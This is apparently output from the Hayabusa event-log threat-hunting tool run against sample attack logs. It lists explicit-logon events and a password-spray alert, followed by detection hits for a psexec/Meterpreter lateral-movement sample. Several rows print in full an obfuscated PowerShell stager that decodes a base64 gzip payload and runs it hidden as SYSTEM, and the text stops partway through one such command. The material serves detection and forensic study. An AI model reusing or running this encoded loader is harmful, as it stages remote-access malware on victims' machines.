DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:57.107 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:58.193 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:59.253 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:00.320 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:01.393 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:02.451 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:03.525 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:03.525 +09:00,-,-,medium,Password Spray,[condition] count(TargetUserName) by IpAddress >= 5 in timeframe [result] count:14 TargetUserName:bgreenwood/baker/drook/jorchilles/ssims/dmashburn/edygert/bgalbraith/bking/cragoso/jlake/smisenar/mdouglas/cspizor IpAddress:172.16.144.128 timeframe:5m,rules/hayabusa/default/alerts/Security/4648_BruteForce_PasswordSprayDetect.yml,- +2019-05-01 04:32:04.597 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:05.675 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:06.738 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:07.835 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:08.911 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:09.973 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:11.051 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:12.146 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:13.221 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:14.281 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:15.352 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:16.402 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:32:17.474 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 05:26:51.981 +09:00,IEWIN7,13,high,PowerShell as a Service in Registry,,rules/sigma/registry_event/sysmon_powershell_as_service.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:51.981 +09:00,IEWIN7,13,critical,CobaltStrike Service Installations in Registry,,rules/sigma/registry_event/sysmon_cobaltstrike_service_installs.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,medium,Mimikatz Command Line,,rules/sigma/process_creation/win_mimikatz_command_line.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,medium,Curl Start Combination,,rules/sigma/process_creation/win_susp_curl_start_combo.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.090 +09:00,IEWIN7,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,informational,Process Creation,"Command: powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,medium,Mimikatz Command Line,,rules/sigma/process_creation/win_mimikatz_command_line.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,high,Suspicious PowerShell Command Line,,rules/sigma/process_creation/win_powershell_cmdline_special_characters.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""powershell.exe"" -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA=='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd())) : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: NT AUTHORITY\SYSTEM : Parent Command: powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1v